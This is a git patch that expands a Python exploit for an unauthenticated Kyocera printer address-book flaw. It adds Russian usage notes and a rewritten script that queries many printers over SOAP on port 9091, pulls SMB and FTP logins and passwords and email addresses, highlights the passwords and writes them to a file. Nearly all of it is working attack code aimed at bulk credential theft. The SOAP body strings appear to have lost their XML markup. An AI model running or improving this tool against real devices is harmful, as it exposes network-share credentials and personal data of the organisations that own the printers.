From e698f257d5c7028c8b5a3c4b35745ac40c84dfac Mon Sep 17 00:00:00 2001 From: krolchonok Date: Fri, 28 Nov 2025 10:28:07 +0300 Subject: [PATCH] Some fix --- README.md | 22 ++- getKyoceraCreds.py | 333 +++++++++++++++++++++++++++++++++++++++------ 2 files changed, 314 insertions(+), 41 deletions(-) diff --git a/README.md b/README.md index b7d9942..0c686c4 100644 --- a/README.md +++ b/README.md @@ -14,8 +14,26 @@ The python script connects to the MFP on TCP port 9091 and issues a SOAP request Feel free to submit a PR with improved parsing, as I never came back around to beautifying the output or exploit process. -### Usage: -`python3 getKyoceraCreds.py ` +### Usage + +```bash +# одиночный IP +python3 getKyoceraCreds.py 10.0.0.10 + +# несколько адресов через запятую или аргументами +python3 getKyoceraCreds.py 10.0.0.10,10.0.0.20 -i 10.0.0.30 + +# загрузка списка IP из файла (по одному в строке, поддерживаются строки через запятую) +python3 getKyoceraCreds.py -f ips.txt + +# сохранение результата в файл +python3 getKyoceraCreds.py 10.0.0.10 -o result.txt +``` + +Скрипт выводит прогресс по каждому устройству и пытается разобрать SOAP-ответы, показывая поля +`login_name`, `login_password`, `email_address`, а при их отсутствии — подробные записи адресной книги +(имя, email, FTP/SMB серверы, логины и пароли, если заданы). Обнаруженные пароли дополнительно подсвечиваются +в выводе, а при использовании `-o/--output` все сообщения дублируются в указанный файл. diff --git a/getKyoceraCreds.py b/getKyoceraCreds.py index 38831c7..8d0df31 100644 --- a/getKyoceraCreds.py +++ b/getKyoceraCreds.py @@ -4,51 +4,306 @@ Extracts sensitive data stored in the printer address book, unauthenticated, inc *email addresses *SMB file share credentials used to write scan jobs to a network fileshare *FTP credentials - + Author: Aaron Herndon, @ac3lives (Rapid7) Date: 11/12/2021 -Tested versions: +Tested versions: * ECOSYS M2640idw * TASKalfa 406ci - * - -Usage: + * + +Usage: python3 getKyoceraCreds.py printerip """ - -import requests -import xmltodict -import warnings + +import argparse +import re import sys import time +import warnings +from typing import Dict, Iterable, List, Optional, Sequence + +import requests +import xmltodict + warnings.filterwarnings("ignore") - -url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1]) -headers = {'content-type': 'application/soap+xml'} -# Submit an unauthenticated request to tell the printer that a new address book object creation is required -body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration25""" - -response = requests.post(url,data=body,headers=headers, verify=False) -strResponse = response.content.decode('utf-8') -#print(strResponse) - - -parsed = xmltodict.parse(strResponse) -# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer. -getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration'] - -body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list{}""".format(getNumber) - -print("Obtained address book object: {}. Waiting for book to populate".format(getNumber)) -time.sleep(5) -print("Submitting request to retrieve the address book object...") - - -response = requests.post(url,data=body,headers=headers, verify=False) -strResponse = response.content.decode('utf-8') -#rint(strResponse) - -parsed = xmltodict.parse(strResponse) -print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']) - -print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'") + + +class Reporter: + def __init__(self, file_path: Optional[str] = None): + self.file = None + self._ansi_re = re.compile(r"\x1b\[[0-9;]*m") + if file_path: + self.file = open(file_path, "w", encoding="utf-8") + + def write(self, message: str = "") -> None: + print(message) + if self.file: + cleaned = self._ansi_re.sub("", message) + self.file.write(cleaned + "\n") + self.file.flush() + + def close(self) -> None: + if self.file: + self.file.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.close() + + +def parse_ip_input(values: Sequence[str]) -> List[str]: + ips: List[str] = [] + for value in values: + for ip in value.split(","): + cleaned = ip.strip() + if cleaned: + ips.append(cleaned) + return ips + + +def load_ips_from_file(path: str) -> List[str]: + with open(path, "r", encoding="utf-8") as f: + lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")] + return parse_ip_input(lines) + + +def build_request_body(action: str, payload: str) -> str: + return ( + "" + "" + "" + f"{action}" + "" + f"{payload}" + "" + ) + + +def request_enumeration(url: str, headers: Dict[str, str]) -> str: + body = build_request_body( + "http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration", + "25", + ) + response = requests.post(url, data=body, headers=headers, verify=False) + parsed = xmltodict.parse(response.content.decode("utf-8")) + return ( + parsed["SOAP-ENV:Envelope"]["SOAP-ENV:Body"][ + "kmaddrbook:create_personal_address_enumerationResponse" + ]["kmaddrbook:enumeration"] + ) + + +def request_address_list(url: str, headers: Dict[str, str], enumeration: str): + body = build_request_body( + "http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list", + f"{enumeration}", + ) + response = requests.post(url, data=body, headers=headers, verify=False) + return xmltodict.parse(response.content.decode("utf-8")) + + +def find_credential_entries(data) -> List[Dict[str, str]]: + entries: List[Dict[str, str]] = [] + + def walk(obj): + if isinstance(obj, dict): + keys = set(obj.keys()) + if keys & {"login_name", "login_password", "email_address", "emailaddress"}: + entries.append(obj) + for value in obj.values(): + walk(value) + elif isinstance(obj, list): + for item in obj: + walk(item) + + walk(data) + return entries + + +def _ensure_list(value): + if value is None: + return [] + if isinstance(value, list): + return value + return [value] + + +def parse_personal_addresses(body: Dict) -> List[Dict[str, str]]: + response = body.get("kmaddrbook:get_personal_address_listResponse", {}) + personal = _ensure_list(response.get("kmaddrbook:personal_address")) + + parsed: List[Dict[str, str]] = [] + for item in personal: + name_info = item.get("kmaddrbook:name_information", {}) + email_info = item.get("kmaddrbook:email_information", {}) + ftp_info = item.get("kmaddrbook:ftp_information", {}) + smb_info = item.get("kmaddrbook:smb_information", {}) + + parsed.append( + { + "id": name_info.get("kmaddrbook:id"), + "name": name_info.get("kmaddrbook:name"), + "furigana": name_info.get("kmaddrbook:furigana"), + "email": email_info.get("kmaddrbook:address"), + "ftp_server": ftp_info.get("kmaddrbook:server_name"), + "ftp_port": ftp_info.get("kmaddrbook:port_number"), + "ftp_login": ftp_info.get("kmaddrbook:login_name") + or ftp_info.get("kmaddrbook:user_name"), + "ftp_password": ftp_info.get("kmaddrbook:login_password"), + "smb_server": smb_info.get("kmaddrbook:server_name"), + "smb_port": smb_info.get("kmaddrbook:port_number"), + "smb_login": smb_info.get("kmaddrbook:login_name"), + "smb_password": smb_info.get("kmaddrbook:login_password"), + } + ) + + return parsed + + +def _highlight_password(value: str) -> str: + if value is None: + return "" + + is_terminal = sys.stdout.isatty() + prefix = "\033[91m" if is_terminal else "" + suffix = "\033[0m" if is_terminal else "" + return f"{prefix}!! ПАРОЛЬ: {value} !!{suffix}" + + +def _format_value(label: str, value: Optional[str]) -> Optional[str]: + if value in (None, ""): + return None + if "пароль" in label.lower() or "password" in label.lower(): + return _highlight_password(value) + return str(value) + + +def display_address_book(addresses: Iterable[Dict[str, str]], reporter: Reporter) -> None: + for idx, entry in enumerate(addresses, start=1): + reporter.write(f" Контакт {idx}:") + for label, key in [ + ("ID", "id"), + ("Имя", "name"), + ("Фуригана", "furigana"), + ("Email", "email"), + ("FTP сервер", "ftp_server"), + ("FTP порт", "ftp_port"), + ("FTP логин", "ftp_login"), + ("FTP пароль", "ftp_password"), + ("SMB сервер", "smb_server"), + ("SMB порт", "smb_port"), + ("SMB логин", "smb_login"), + ("SMB пароль", "smb_password"), + ]: + formatted = _format_value(label, entry.get(key)) + if formatted: + reporter.write(f" {label}: {formatted}") + reporter.write() + + +def display_entries(entries: Iterable[Dict[str, str]], reporter: Reporter) -> None: + for idx, entry in enumerate(entries, start=1): + reporter.write(f" Запись {idx}:") + for key, value in entry.items(): + if isinstance(value, (dict, list)): + continue + formatted = _format_value(key, value) + if formatted: + reporter.write(f" {key}: {formatted}") + reporter.write() + + +def process_printer(ip: str, reporter: Reporter) -> None: + url = f"https://{ip}:9091/ws/km-wsdl/setting/address_book" + headers = {"content-type": "application/soap+xml"} + + try: + enumeration = request_enumeration(url, headers) + except Exception as exc: # noqa: BLE001 + reporter.write(f"[!] Не удалось получить объект адресной книги с {ip}: {exc}") + return + + reporter.write(f"[*] Получен объект адресной книги {enumeration} от {ip}. Ожидание заполнения...") + time.sleep(5) + reporter.write("[*] Запрашиваем адресную книгу...") + + try: + parsed_response = request_address_list(url, headers, enumeration) + except Exception as exc: # noqa: BLE001 + reporter.write(f"[!] Не удалось получить адресную книгу с {ip}: {exc}") + return + + body = parsed_response.get("SOAP-ENV:Envelope", {}).get("SOAP-ENV:Body", {}) + entries = find_credential_entries(body) + + if entries: + reporter.write(f"[*] Найдено записей с учетными данными: {len(entries)}") + display_entries(entries, reporter) + else: + addresses = parse_personal_addresses(body) + if addresses: + reporter.write("[!] Явные учетные данные не найдены. Распарсенные записи адресной книги:") + display_address_book(addresses, reporter) + else: + reporter.write("[!] Не найдено ни учетных данных, ни записей адресной книги. Полный ответ:") + reporter.write(str(body)) + + + +def main(argv: Sequence[str]) -> None: + parser = argparse.ArgumentParser( + description="Извлечение адресной книги Kyocera без аутентификации", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + ) + parser.add_argument("ips", nargs="*", help="IP-адреса (через пробел или запятую)") + parser.add_argument( + "-i", + "--ip", + dest="extra_ips", + action="append", + default=[], + help="Дополнительные IP-адреса (можно перечислять через запятую)", + ) + parser.add_argument( + "-f", + "--file", + dest="file", + help="Путь к файлу с IP-адресами (один в строке, можно через запятую)", + ) + parser.add_argument( + "-o", + "--output", + dest="output", + help="Путь к файлу для сохранения результатов", + ) + + args = parser.parse_args(argv) + + ips: List[str] = [] + if args.file: + ips.extend(load_ips_from_file(args.file)) + ips.extend(parse_ip_input(args.ips)) + ips.extend(parse_ip_input(args.extra_ips)) + + if not ips: + print("Необходимо указать хотя бы один IP-адрес (через аргумент, запятую или файл)") + sys.exit(1) + + unique_ips = list(dict.fromkeys(ips)) + total = len(unique_ips) + + with Reporter(args.output) as reporter: + for index, ip in enumerate(unique_ips, start=1): + reporter.write(f"\n[{index}/{total}] Обработка {ip}") + process_printer(ip, reporter) + + +if __name__ == "__main__": + main(sys.argv[1:])